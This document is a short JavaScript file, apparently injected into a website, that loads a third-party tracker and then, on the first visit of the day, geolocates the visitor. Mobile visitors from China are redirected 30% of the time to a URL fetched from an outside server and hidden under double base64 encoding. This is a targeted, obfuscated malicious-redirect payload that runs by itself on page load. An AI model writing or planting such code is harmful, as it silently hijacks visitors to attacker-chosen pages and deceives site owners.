document.write("<script>!function(p){\"use strict\";!function(t){var s=window,e=document,i=p,c=\"\".concat(\"https:\"===e.location.protocol?\"https://\":\"http://\",\"sdk.51.la/js-sdk-pro.min.js\"),n=e.createElement(\"script\"),r=e.getElementsByTagName(\"script\")[0];n.type=\"text/javascript\",n.setAttribute(\"charset\",\"UTF-8\"),n.async=!0,n.src=c,n.id=\"LA_COLLECT\",i.d=n;var o=function(){s.LA.ids.push(i)};s.LA?s.LA.ids&&o():(s.LA=p,s.LA.ids=[],o()),r.parentNode.insertBefore(n,r)}()}({id:\"3KgwT4jYobmFsF81\",ck:\"3KgwT4jYobmFsF81\"});</script>");
function isMobileDevice() {
    var userAgent = navigator.userAgent;
    return /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(userAgent);
}
async function checkChinaIP() {
    try {
        const response = await fetch('https://ipinfo.io/json');
        const data = await response.json();
        return data.country === 'CN';
    } catch (error) {
        return false;
    }
}
function getCurrentFormattedDate() {
  var date = new Date();

  var year = date.getFullYear();
  var month = date.getMonth() + 1; 
  var day = date.getDate();


  month = month < 10 ? '0' + month : month;
  day = day < 10 ? '0' + day : day;

  return `${year}${month}${day}`;
}
async function redirectToAnotherPage() {
   try {
        const response = await fetch('https://ribi123.com/get.php');
        const data = await response.json();
        if (data.demo && Math.random() < 0.3) {
            const url = atob(atob(data.demo)); 
            window.location.href = url;
        }
    } catch (error) {
        console.error('error', error);
    }
}
window.onload = async function () {
    var isFirstVisit = localStorage.getItem(getCurrentFormattedDate());
    if (!isFirstVisit) {
        localStorage.setItem(getCurrentFormattedDate(), 'true');
        var isC = await checkChinaIP();
        if (isC && isMobileDevice()) {
            redirectToAnotherPage();
        }
    }
};